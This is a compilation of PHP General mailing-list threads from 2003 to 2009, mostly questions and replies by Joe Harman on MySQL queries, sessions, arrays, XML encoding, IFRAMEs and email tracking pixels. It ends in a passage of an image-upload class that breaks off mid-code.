Hey Thanks Petre

Cheers... And a big brain fart



> -Original Message-
> From: Petre Agenbag [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, October 02, 2003 6:17 AM
> To: Joe Harman
> Cc: [EMAIL PROTECTED]
> Subject: Re: [PHP] MySQL get second row problem
> 
> 
> Either limit your query to return only the second row ( look 
> in mysql manual for the limit caluse), or you will need to 
> move the array counter forward one for the $row_rsLastL = 
> mysql_fetch_assoc($rsLastL) operation.(php manual under array 
> functions)
> 
> 
> On Thu, 2003-10-02 at 12:10, Joe Harman wrote:
> > Hello... I am having just alittle trouble with this... I know it's 
> > simple... Look at my comment for the problem I am having
> > 
> >  > mysql_select_db($database_ideation, $ideation);
> > $query_rsLastL = "SELECT * FROM logins WHERE user_id = 
> '$UserID' 
> > ORDER BY `date` DESC";
> > $rsLastL = mysql_query($query_rsLastL, $ideation) or 
> > die(mysql_error());
> > $row_rsLastL = mysql_fetch_assoc($rsLastL);
> > $totalRows_rsLastL = mysql_num_rows($rsLastL);
> > 
> > // Prints the first row... I just want to print just the second row
> > echo $row_rsLastL['date'];
> > 
> > mysql_free_result($rsLastL);
> > ?>
> > 
> > Thanks
> 
> 
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Echo HTML code Verses breaking out of

2003-11-21 Thread Joe Harman
Hello,

I would like some opinions, or hopefully facts on a few things... Maybe
some people can help me out here. 

A friend of mine and I were discussing which is best way to use PHP
building dynamic pages, here are the 2 methods we are comparing.. They
are in the simplest terms here... But try to imagine a very intesive PHP
appliaction with huge MySQL queries...


First Item
-

  

  



Second Item
-
";
echo "";
echo "Hello World";
echo "";
echo "";
?>


Now I would say that the first item is the most efficient simply because
you are not making PHP process the ECHO of HTML code... It's more
efficient to let the browser do that since it has to interperat it
anyhow. Am I correct assuming this?

Thanks!
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] POST method for hyperlink

2004-01-17 Thread Joe Harman
Hello,

I am curious if there is anyway to take a variable that is passed via a
URL by a reguler text hyperlink

Ex: http://localhost/Calendar/active_layout.php?d=2.1.2004

and hide it like you would do with the POST method using forms

Ex: http://localhost/Calendar/active_layout.php

Hidden or POSTed part: d=2.1.2004

It seems like I saw some WML code that did something like this

Thanks in advance,
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] POST method for hyperlink

2004-01-17 Thread Joe Harman
Thanks Richard... I will do some erading on that

Cheers!
Joe

-Original Message-
From: Richard Davey [mailto:[EMAIL PROTECTED] 
Sent: Saturday, January 17, 2004 11:08 PM
To: Joe Harman
Cc: [EMAIL PROTECTED]
Subject: Re: [PHP] POST method for hyperlink


Hello Joe,

Sunday, January 18, 2004, 3:26:18 AM, you wrote:

JH> I am curious if there is anyway to take a variable that is passed 
JH> via a URL by a reguler text hyperlink

JH> Ex: http://localhost/Calendar/active_layout.php?d=2.1.2004

JH> and hide it like you would do with the POST method using forms

Not really, no. One solution might be to use mod_rewrite on Apache so at
least it could look like:

http://localhost/Calendar/active_layout/d/2.1.2004

(or something like that).

-- 
Best regards,
 Richardmailto:[EMAIL PROTECTED]

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Converting PHP code to class

2004-01-18 Thread Joe Harman
Hey,

Just curious if anyone here would be interested in helping me convert my
PHP Calendar into a class... I am not to good at it... But I figure if
someone would like to do it they could get this nifty calendar program
that I made... Nice little trade... Let me know and I will forward the
code.

Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Question about array limits & practicallity

2004-01-21 Thread Joe Harman
I am curious how much data an array can hold.. And what the pros and
cons are.

Example.. I am making a testing system that will give a student a 102
question test... 

The test would be generated so that each one is different... So would it
be practical to load all 102 questions and their options into an array
and store that array into a session? 

Also can I store those arrays as a blob in MySQL?

Thanks,
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] Question about array limits & practicallity

2004-01-21 Thread Joe Harman
Thanks for your comments Chris and Rob... Chris you have great points to
make, my ears are wide open... 

The reason I thought about storing the array in a blob is because every
test generated will be different. the 102 question test will be generate
randomly from a bank of 500 questions.. That means that the order of
questions will also be different... So I would like to find a way to
store that unique test for the student or administrator to review..

I do understand PHP & MySQL very well... But I am no master, that's why
I was asking... Any other ideas or recommendations for this... Words of
wisdom are also welcome :o)

So thanks for your input,
Joe

-Original Message-
From: Chris W [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, January 21, 2004 11:54 PM
To: Robert Cummings; PHP-General
Subject: Re: [PHP] Question about array limits & practicallity


Robert Cummings wrote:

>>Also can I store those arrays as a blob in MySQL?
>>
>>
>
>You could, but you'd be better off storing them in normalized tables 
>IMHO.
>  
>

In this cans I will have to strongly agree with Rob, but I also have to 
add a few comments.

Why on earth would you store an array as a blob in a database!?  That's 
like spending $10,000 on a new storage system to organize all the junk 
in your garage, and then ripping out all the bins and shelves and 
cabinet door and just dumping all your junk in there.  You might as well

just put it in some file on the hard drive.  If your using a database 
and you don't know what normalization is or you don't know how to tell 
if a database is normalized, STOP and drop everything till you learn the

basics or normalization.  I don't mean become an expert or anything, you

don't need to be able describe the intricacy of Boyc-Codd normal form 
from memory, just learn enough to have a good grasp on everything up to 
3rd normal form, which isn't all that hard.

Chris W

I'm waiting till tomorrow to respond on all the challenges to my last 
post, so I can respond to all of them at once.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Error in Building an XML File

2009-03-09 Thread Joe Harman
Hello,

I am using PHP to build an XML file, but I keep on getting an XML
error when open the file in Google Chrome.
-
This page contains the following errors:

error on line 30 at column 318: Entity 'iuml' not defined
Below is a rendering of the page up to the first error.


is this something to do with document encoding?

I am using these as headers for the script

header("content-type:text/xml;charset=utf-8");
header("Content-Disposition:attachment;filename=google_feed.xml");


Thanks
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Error in Building an XML File

2009-03-09 Thread Joe Harman
On Mon, Mar 9, 2009 at 9:53 AM, Bob McConnell  wrote:
> From: Joe Harman
>>
>> I am using PHP to build an XML file, but I keep on getting an XML
>> error when open the file in Google Chrome.
>>
> 
> -
>> This page contains the following errors:
>>
>> error on line 30 at column 318: Entity 'iuml' not defined
>> Below is a rendering of the page up to the first error.
>>
> 
> 
>>

Okay, Thanks... appears the problem is that I have foreign language
entities in my HTML... Ugh

I am sure this is not really the most efficient way to do this, but I
tried using the following to get rid of these, but it appears that it
just converts them to this i¿½...

$search = 
explode(",","ç,æ,œ,á,é,í,ó,ú,à,è,ì,ò,ù,ä,ë,ï,ö,ü,ÿ,â,ê,î,ô,û,å,e,i,ø,u");
$replace = 
explode(",","c,ae,oe,a,e,i,o,u,a,e,i,o,u,a,e,i,o,u,y,a,e,i,o,u,a,e,i,o,u");
$decode_string = str_replace($search, $replace,
html_entity_decode($row_rsFeed['full_desc']))

I am going to read up some more on sanitizing HTML

Joe

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP book recommendations>

2005-02-15 Thread Joe Harman
personally, I like Julie Meloni's books... PHP essentials.. and fast
and easy web development... these were some of the first books that i
bought and got started with... they are pretty easy to use, especially
if you are not into reading technical manuals

http://www.thickbook.com



On Tue, 15 Feb 2005 14:20:05 -0500, Joe Harman <[EMAIL PROTECTED]> wrote:
> sorry... wrong address
> 
> 
> On Tue, 15 Feb 2005 14:19:46 -0500, Joe Harman <[EMAIL PROTECTED]> wrote:
> > personally, I like Julie Meloni's books... PHP essentials.. and fast
> > and easy web development... these were some of the first books that i
> > bought and got started with... they are pretty easy to use, especially
> > if you are not into reading technical manuals
> >
> >
> > On Tue, 15 Feb 2005 08:54:14 -0800 (PST), Chris Shiflett
> > <[EMAIL PROTECTED]> wrote:
> > > --- "Bosky, Dave" <[EMAIL PROTECTED]> wrote:
> > > > I'm looking for an easy to read PHP book that will help me learn a
> > > > solid foundation in PHP.
> > >
> > > If you need a strong foundation:
> > >
> > > http://www.oreilly.com/catalog/learnphp5/
> > >
> > > If you already have a strong foundation:
> > >
> > > http://www.amazon.com/exec/obidos/ASIN/0672325616
> > >
> > > Hope that helps.
> > >
> > > Chris
> > >
> > > =
> > > Chris Shiflett - http://shiflett.org/
> > >
> > > PHP Security - O'Reilly HTTP Developer's Handbook - Sams
> > > Coming Soon http://httphandbook.org/
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, visit: http://www.php.net/unsub.php
> > >
> > >
> >
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Weird Error Help

2005-02-17 Thread Joe Harman
Hey has anyone had an error like this one? and have a solution

---
Warning: Unexpected character in input: '' (ASCII=1) state=1 in
**/_eid_page_functions.php on line
173


it appears to be very random... could be my PHP code... but the only
thing that has happened since this error occured is that we moved the
site to a new server

Thanks,
Joe

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Weird Error Help

2005-02-18 Thread Joe Harman
Thanks for your help guys... I can't seem to locate the culprut though...

here is my line of code it refers to: 
echo 
"".$nav_bar_end;

all it does is close a table though... i hate to blame this error on
the PHP processor... but I am wondering if there could be a corrupt
install of PHP on my web server this site has been up for about 6
months and all that brought it on was a server change... I also did
try uploading the files file a couple different ftp clients... in
binary and ascii... but i still get the intermitant error...

I did add ob_start() and ob_flush() to the site... that seemed to
reduce the occurance of the error though...

Thanks!
Joe



On Thu, 17 Feb 2005 15:41:10 -0800 (PST), Richard Lynch <[EMAIL PROTECTED]> 
wrote:
> Joe Harman wrote:
> > Hey has anyone had an error like this one? and have a solution
> >
> > ---
> > Warning: Unexpected character in input: '' (ASCII=1) state=1 in
> > **/_eid_page_functions.php on line
> > 173
> > 
> >
> > it appears to be very random... could be my PHP code... but the only
> > thing that has happened since this error occured is that we moved the
> > site to a new server
> 
> Perhaps the file got garbled in the move...
> 
> Check that there isn't an ASCII 1 character (control-A) in there in a hex
> editor or something.
> 
> Also re-copy over some files using a different mechanism and do some diff
> to be SURE the files are the same.
> 
> --
> Like Music?
> http://l-i-e.com/artists.htm
> 
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Inline Frame and php

2005-03-01 Thread Joe Harman
Hey Todd, 

I use iframe alot.. what you have to do is tell it a target... but, i
am not sure if you can do that with header('Location:...") .. i would
be interested to know also

Joe


On Mon, 28 Feb 2005 16:30:28 -0800, Todd Cary <[EMAIL PROTECTED]> wrote:
> My client insists on using inline Frames that uses my php pages.  As an
> example, this is on one page:
> 
>  SRC="search.php?search_text=" WIDTH=592 HEIGHT=282>
> 
> 
> This works well with the "control" being given to search.php.  What I do
> not understand is that within search.php, I have a statement that is
> suppose to pass "control" to anther page.  The line is
> 
> header("location: http://192.168.0.23/mypath/mypage.php";);
> 
> Rather than going to the page, it opens mypage.php in the inline frame.
> 
> Is there a way to "leave" the inline frame?
> 
> [Excuse my nomenclature e.g. "control", "leave"]
> 
> Todd
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Inline Frame and php

2005-03-01 Thread Joe Harman
Hey Todd... I really think what you are going to have to do is pass a
javascript variable to the parent page.. cause you are trying to send
a variable from the php search page to the parent that has the iframe
in it... I am correct in assuming that?


On Tue, 1 Mar 2005 16:33:58 -, Mikey <[EMAIL PROTECTED]> wrote:
> > > Is there a way to "leave" the inline frame?
> 
> You could get your script to write some JavaScript instead of the header
> along the lines of:
> 
> window.parent.document.location = "mypage.php";
> 
> (This is not tested, and YMMV...)
> 
> HTH,
> 
> Mikey
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP file as homepage?

2005-03-15 Thread Joe Harman
Hey Phil,

this can be defined in the apache config file

Joe


On Tue, 15 Mar 2005 11:10:30 -0500, Phil Neeb <[EMAIL PROTECTED]> wrote:
> I've noticed that PHP.net uses index.php as its homepage and well, I'm
> curious as to how that's possible.  Is it the server setup that allows
> them to load a php file as their homepage or something else?
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Storing Arrays in a database

2005-03-24 Thread Joe Harman
Hey,

I was curious if anyone here stores arrays in MySQL... and how r u
doing this... are you converting the values to a delimited string
or is there another way?

Thanks
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Storing Arrays in a database

2005-03-24 Thread Joe Harman
k.. in the past i have been using implode and explode... i have yet to
try serialize yet... but i will be giving it a whirled in about 5
minutes...

Thanks... just looking for a better way to do things
Cheers & thanks for the help!
Joe


On Thu, 24 Mar 2005 14:23:05 -0600, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:
> check serialize() and unserialize() in manual.
> implode() and explode() functions too.
>
> -afan
>
> Joe Harman wrote:
>
> >Hey,
> >
> >I was curious if anyone here stores arrays in MySQL... and how r u
> >doing this... are you converting the values to a delimited string
> >or is there another way?
> >
> >Thanks
> >Joe
> >
> >
> >
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] html image

2005-03-25 Thread Joe Harman
check out http://www.whois.sc

they do exactley what you are talking about. i don't think you can
make PHP do this.. there maybe someway to do it with imagemagik
but i am not even sure about that also...

here is a free ware program that does it.. but you have to do it manually
http://www.snapfiles.com/get/web2pic.html

good luck! let us know what you find!
Joe 


On Fri, 25 Mar 2005 19:47:43 +0200, Dotan Cohen <[EMAIL PROTECTED]> wrote:
> On Thu, 24 Mar 2005 20:48:50 +0200, delos <[EMAIL PROTECTED]> wrote:
> > i would like to produce a script that can make an image ("screenshot")
> > based only on the site url. so that i enter an URL and php makes the
> > picture.
> >
> > can such a thing be done by php? if not, maybe by some other language?
> >
> 
> You would need a program that would take the HTML code that you
> receive and then know how to format it. In other words, a web browser.
> 
> I know that this is possible because as far back as three years ago I
> was getting spam that included a screenshot of my site. I thought it
> was rather cool- the screenshot showed the site optimized for a 1024-
> width screen and I had at that point only ever seen my own site on a
> 800*600 15 inch monitor.
> 
> You would probably need to combine about 3 tools to do this: a
> browser, a screen shot utility, and THEN php. php cannot transform the
> html code into a 'webpage'. Unless, hehehe, you want to write a
> browser in php.
> 
> Dotan Cohen
> 
> http://English-Lyrics.com/
> http://Song-Lyriks.com/
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Any personal experience with MySQL/Calendar application

2005-03-29 Thread Joe Harman
Hey Todd... I have one that I created and posted at Zend.com ... it
can be easily adapted to store data n MySQL...

Joe


On Tue, 29 Mar 2005 12:33:12 -0500, Peter G. Brown
<[EMAIL PROTECTED]> wrote:
> I have used egroupware in a company setting and found it to be largely
> satisfactory. It might be overkill in your case but you can restrict
> module access.
> 
> www.egroupware.org
> 
> HTH
> Peter Brown
> 
> Todd Cary wrote:
> > I am looking for an open source calendar program that uses MySQL to
> > store the data and has an online Admin feature.  Rather than trying the
> > many that are listed, I am hoping that someone may have some personal
> > experience with a application of this type and make a recommendation.
> >
> > Todd
> >
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: A strange problem..

2005-04-04 Thread Joe Harman
Hey Josh... make sure your mysql table column is a integer... not a
varchar.. i've done that by mistake a few times!

On Apr 4, 2005 3:22 PM, chris <[EMAIL PROTECTED]> wrote:
> what is the structure of your table?
> 
> "JoShQuNe" <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]
> > Hi, i have a strange problem. In my site i have to counters for file
> > downloads. One is general, other is weekly. On the main page i
> > display a list sorted according to weekly hits. The problem is there:
> > i give this prompt mysql_query("SELECT * FROM table ORDER BY
> > weekly_hits DESC LIMIT 15") to display top 15 but if the hit is
> > greater than 9 itz not displayed. What maybe the reason? Is it
> > possible to be because of the place of the weekly_hits column in the
> > table? When i try to sort by general hit, it does, but general hits
> > are started with 600s so i couldn't get what happens.. Thanx for
> > help..
> >
> >
> >
> > __
> > Do you Yahoo!?
> > Yahoo! Personals - Better first dates. More second dates.
> > http://personals.yahoo.com
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Javascript Calendar and PHP

2005-04-05 Thread Joe Harman
-- Forwarded message --
From: Joe Harman <[EMAIL PROTECTED]>
Date: Apr 6, 2005 2:50 AM
Subject: Re: [PHP] Re: Javascript Calendar and PHP
To: Nadim Attari <[EMAIL PROTECTED]>


interakt has a great one that is used with field forms... it's like
$30 or something... it's actually a Dreamweaver plugin

On Apr 6, 2005 2:39 AM, Nadim Attari <[EMAIL PROTECTED]> wrote:
> > What Javascript calendar works good with PHP?
> > Thanks
>
> http://www.blueshoes.net/en/javascript/datepicker/
>
> Regards,
> Nadim Attari
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP & Wire Ready

2005-04-12 Thread Joe Harman
Hello,

Curious if anyone out there has any experience using PHP with Wire
Ready??? We've taken over a site that uses the wire ready service...
which is all done in ASP and needs to be converted over to PHP??

does anyone have or know of any pre-made classes or functions for
dealing with this service?

Thanks,
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Php defense

2005-04-22 Thread Joe Harman
 My 2 Cents > ASP is a Platform that supports a number of different
microsoft languages which includes ASP Javascript, ASP VBScript,
ASP.Net C# & ASP.Net VB ... ASP has a couple of good points to it...
most notably is that it is backed by the largest computer company out
there.. Microsoft... also, from my experience as a college level
instructor, they teach microsoft programming languages at the
colleges... there is nothing spectacular about the programming
languages that ASP supports that cannot be done with PHP... and I
should say that that is my opinion...

I know Yahoo & Google use PHP in some of their applications... also
Lufthansa (Airline) uses PHP... Vonage... Broadvoice.. the list goes
on...

Here is a few articles for you : 
http://www.zend.com/news/zendpr.php?id=89
http://www-306.ibm.com/software/data/info/zendcore/
http://www.gartner.com/DisplayDocument?doc_cd=126609
http://www.zend.com/developers.php
http://news.com.com/2100-1023-963937.html?tag=lh

Good Luck Pablo,
Joe

On 4/22/05, Pablo D Marotta <[EMAIL PROTECTED]> wrote:
> Hi there..
> I`m defending the language, but people here want to migrate to asp..
> They just keep on saying "php is not used for huge corporation solutions, 
> there
> asp goes better".
> 
> I know it isn´t correct, but I don´t know much about "well-known" websites
> using php technology. (I just don´t navigate enough time to know it)
> I think that could help a lot, since this people is highly influenced by that
> kind of facts.. (I mean, knowing that other companies trust this language to
> manage critical information).
> 
> Does anybody know/have any web-sites listing using php? If you only know a few
> of those, it could help me too.
> 
> Thanks in advance!!
> Pablo
> 
> American Express made the following
> annotations on 04/22/05 06:58:25
> --
> **
> 
> "This message and any attachments are solely for the intended recipient and 
> may contain confidential or privileged information. If you are not the 
> intended recipient, any disclosure, copying, use, or distribution of the 
> information included in this message and any attachments is prohibited. If 
> you have received this communication in error, please notify us by reply 
> e-mail and immediately and permanently delete this message and any 
> attachments. Thank you."
> 
> **
> ==
> 
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
> 
>

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] base64_encode in URLs

2005-05-10 Thread Joe Harman
Hey just curious if it's okay to encode variables that are passed in
URLs with base64_encode??? since, I am going to pass a email address
in the URL, I would like to protect the email address from typical
people

-- 
Joe Harman
-
Do not go where the path may lead, go instead where there is no path
and leave a trail. - Ralph Waldo Emerson

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] base64_encode in URLs

2005-05-11 Thread Joe Harman
HA... Thanks for your thoughts...

I am actually using this for a broadcast email system... I just use a
PHP image generator to make a 1 x1 gif... the image generator script
takes a variable for color then I added another one for email address
to keep stats on who has opened the message

ex. image_script.php?color=00&[EMAIL PROTECTED]

but I am using base64_encode to encode the email address and call
the variable something besides email... I suppose i didn't have to do
this, but thought it would be a good practice to do it...

 the end result looks something like this : 
image_script.php?color=00&key=jtzOjM6IkpvZSI7czo5OiJsYXN0X2 

also this is embedded in the body of an HTML email... so, i think it's
pretty safe any how the script just updates the stats and returns a
1x1 gif...

Cheers!
Joe



On 5/11/05, Richard Lynch <[EMAIL PROTECTED]> wrote:
> On Tue, May 10, 2005 8:50 pm, Joe Harman said:
> > Hey just curious if it's okay to encode variables that are passed in
> > URLs with base64_encode??? since, I am going to pass a email address
> > in the URL, I would like to protect the email address from typical
> > people
> 
> I dunno if every character that can be output by base64_encode is URL-safe
> or not, but you could do:  urlencode(base64_encode($email)) and be 100%
> certain that it is safe, and that the data you want will come through.
> 
> That said, I don't think base64_encode will offer much protection from
> humans who want to snag emails, and you presumably aren't listing these
> URLs somewhere for web-bot harvesters to find...  Though that would fool
> them, at least in the present.
> 
> ARAIK, almost *any* obfuscation of email addresses foils the harvest bots.
> 
> This seems unbelievable, but I liken it to fishing:  If every time you
> cast a line in the water, you come up with a million fish, how hard will
> you work to change your bait?
> 
> That is the current state of affairs in the "arms race" of email
> harvesting -- The spammers have SO MANY fish "biting" that they simply
> don't need to bypass obfuscation.
> 
> Sooner or later, however, that will change, especially if the harvesters
> ever care about "quality" of their fish.
> 
> While I'm not running around fixing all my old obfuscation code, I'm
> pretty much not using email obfuscation on any new sites/code.
> 
> Instead, I build a FORM that will send the email "blind" to the recipient,
> and have a "throttle choke" that limits a given IP
> ($_SERVER['REMOTE_ADDR']) to N emails sent in H hours.
> 
> Certainly, a script could be written to re-connect and get a new IP, but
> that in itself would take enough time on the end of the spammer that I
> doubt they'll want to bother any time soon.
> 
> And it's all wrapped up in a 'spaminator' function that I can replace with
> something more robust if I need to.
> 
> I figure this way, I'm 2 steps ahead in this arms race, so when the bad
> guys start decoding the obfuscation emails, I'll be ready for 'em.
> 
> Now if I could just figure out a way to get my OWN email out of their
> lists so I wasn't getting 10,000 spams per day (literally) I'd be a Happy
> Camper.
> 
> --
> Like Music?
> http://l-i-e.com/artists.htm
> 
> 


-- 
Joe Harman
-
Do not go where the path may lead, go instead where there is no path
and leave a trail. - Ralph Waldo Emerson

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] base64_encode in URLs

2005-05-11 Thread Joe Harman
Hey Thanks Brandon... I know that does happen, so the stats is just
suppose to approximate.. thanks for point that out

Cheers
Joe

On 5/11/05, Brandon Ryan <[EMAIL PROTECTED]> wrote:
> Joe, this may be a little off topic, but most modern email clients
> wont show images in HTML unless the user clicks to show images
> manually.  This could fool your automatic counting and email
> verification.
> 
> On 5/11/05, Joe Harman <[EMAIL PROTECTED]> wrote:
> > HA... Thanks for your thoughts...
> >
> > I am actually using this for a broadcast email system... I just use a
> > PHP image generator to make a 1 x1 gif... the image generator script
> > takes a variable for color then I added another one for email address
> > to keep stats on who has opened the message
> >
> > ex. image_script.php?color=00&[EMAIL PROTECTED]
> >
> > but I am using base64_encode to encode the email address and call
> > the variable something besides email... I suppose i didn't have to do
> > this, but thought it would be a good practice to do it...
> >
> > the end result looks something like this :
> > image_script.php?color=00&key=jtzOjM6IkpvZSI7czo5OiJsYXN0X2
> >
> > also this is embedded in the body of an HTML email... so, i think it's
> > pretty safe any how the script just updates the stats and returns a
> > 1x1 gif...
> >
> > Cheers!
> > Joe
> >
> >
> > On 5/11/05, Richard Lynch <[EMAIL PROTECTED]> wrote:
> > > On Tue, May 10, 2005 8:50 pm, Joe Harman said:
> > > > Hey just curious if it's okay to encode variables that are passed in
> > > > URLs with base64_encode??? since, I am going to pass a email address
> > > > in the URL, I would like to protect the email address from typical
> > > > people
> > >
> > > I dunno if every character that can be output by base64_encode is URL-safe
> > > or not, but you could do:  urlencode(base64_encode($email)) and be 100%
> > > certain that it is safe, and that the data you want will come through.
> > >
> > > That said, I don't think base64_encode will offer much protection from
> > > humans who want to snag emails, and you presumably aren't listing these
> > > URLs somewhere for web-bot harvesters to find...  Though that would fool
> > > them, at least in the present.
> > >
> > > ARAIK, almost *any* obfuscation of email addresses foils the harvest bots.
> > >
> > > This seems unbelievable, but I liken it to fishing:  If every time you
> > > cast a line in the water, you come up with a million fish, how hard will
> > > you work to change your bait?
> > >
> > > That is the current state of affairs in the "arms race" of email
> > > harvesting -- The spammers have SO MANY fish "biting" that they simply
> > > don't need to bypass obfuscation.
> > >
> > > Sooner or later, however, that will change, especially if the harvesters
> > > ever care about "quality" of their fish.
> > >
> > > While I'm not running around fixing all my old obfuscation code, I'm
> > > pretty much not using email obfuscation on any new sites/code.
> > >
> > > Instead, I build a FORM that will send the email "blind" to the recipient,
> > > and have a "throttle choke" that limits a given IP
> > > ($_SERVER['REMOTE_ADDR']) to N emails sent in H hours.
> > >
> > > Certainly, a script could be written to re-connect and get a new IP, but
> > > that in itself would take enough time on the end of the spammer that I
> > > doubt they'll want to bother any time soon.
> > >
> > > And it's all wrapped up in a 'spaminator' function that I can replace with
> > > something more robust if I need to.
> > >
> > > I figure this way, I'm 2 steps ahead in this arms race, so when the bad
> > > guys start decoding the obfuscation emails, I'll be ready for 'em.
> > >
> > > Now if I could just figure out a way to get my OWN email out of their
> > > lists so I wasn't getting 10,000 spams per day (literally) I'd be a Happy
> > > Camper.
> > >
> > > --
> > > Like Music?
> > > http://l-i-e.com/artists.htm
> > >
> > >
> >
> > --
> > Joe Harman
> > -
> > Do not go where the path may lead, go instead where there is no path
> > and leave a trail. - Ralph Waldo Emerson
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, visit: http://www.php.net/unsub.php
> >
> >
> 


-- 
Joe Harman
-
Do not go where the path may lead, go instead where there is no path
and leave a trail. - Ralph Waldo Emerson

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Storing website templates in sessions

2004-07-07 Thread Joe Harman
Hey everyone...

I was curious if anyone out there has some pros and cons to storing a
website template that is extracted from a mysql db and stored in a
session... is this an efficient way to do it?

also... does anyone know what the size limitations for a session would
be?

Thanks,
Joe

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Help with a image upload class

2004-07-21 Thread Joe Harman
Hello, I was curious if someone would help me alter this class so that
instead of using it to upload images... I could send it a full URL path
to an image, and it would save it to my server... 

Thanks,
Joe

Class
---
 300 kbyte
//  $file_perm = array with mime/type of
files to upload default -> jpg, png, gif
//  $arc_dir   = destination dir of the
upload file default -> ditectory corrente

function upload ( $file_perm , $max_fil = 30, $arc_dir =
".." )
{
if ( empty ($file_perm) ) $file_perm = array
("image/pjpeg","image/x-png","image/jpeg","image/png");

$this->file_permitted = $file_perm; // set mime/type of
files to upload

$this->max_filesize = $max_fil; // set max size of file
upload

$this->archive_dir = $arc_dir;  // set destination dir
of the upload file
}

// upload method
// input: $file = name of the FILE filed on the FORM

function putFile ( $file )
{
$userfile_type = strtok ( $_FILES[$file]['type'], ";");
// clear file type:  MIME TYPE
$userfile_name = $_FILES[$file]['name']; // set the
original file name
$userfile_size = $_FILES[$file]['size']; // set the file
uploaded dimension
$userfile = $_FILES[$file]['tmp_name'];  // file
uploaded in the temp dir

$error = "This file type is not permitted:
$userfile_type"; // set the error message

// if the file is in the list of MIME TYPE permetted
// set the error to empty string

$file_permitted = $this->file_permitted;

foreach ( $file_permitted as $permitted )
{
if ( $userfile_type == $permitted ) $error = "";
}

// if filesize is <= 0 or  > $max_filesize
// set the error message
//if ( ($userfile_size <= 0) || ($userfile_size >
$this->max_filesize) ) $error = "File size error: $userfile_size
Kb.";

// if no error occured, start coping file
if ( $error == "" )
{

$filename = basename ($userfile_name); //
extract file name

if (!empty ($this->archive_dir) ) 
$destination =
$this->archive_dir."/".$filename; // full destination path to images dir
else 
$destination = $filename; // full
destination path to images dir

// check id a fale eith the same name exist
// if exist, add a random number to the file
name
if ( file_exists($destination) )
{
srand((double)microtime()*100); // random number
inizializzation
$filename = rand(0,2).$filename; // add number to
file name
if (!empty ($this->archive_dir) ) 
$destination =
$this->archive_dir."/".$filename; // full destination path to images dir
else 
$destination = $filename; //
full destination path to images dir
}

// Do some additional checks
if(!is_uploaded_file($userfile)) die ("File
$userfile_name is not uploaded correctly.");
  
// copy file to temp dir to destination fir and
removee the temp file
  
if ( [EMAIL PROTECTED]
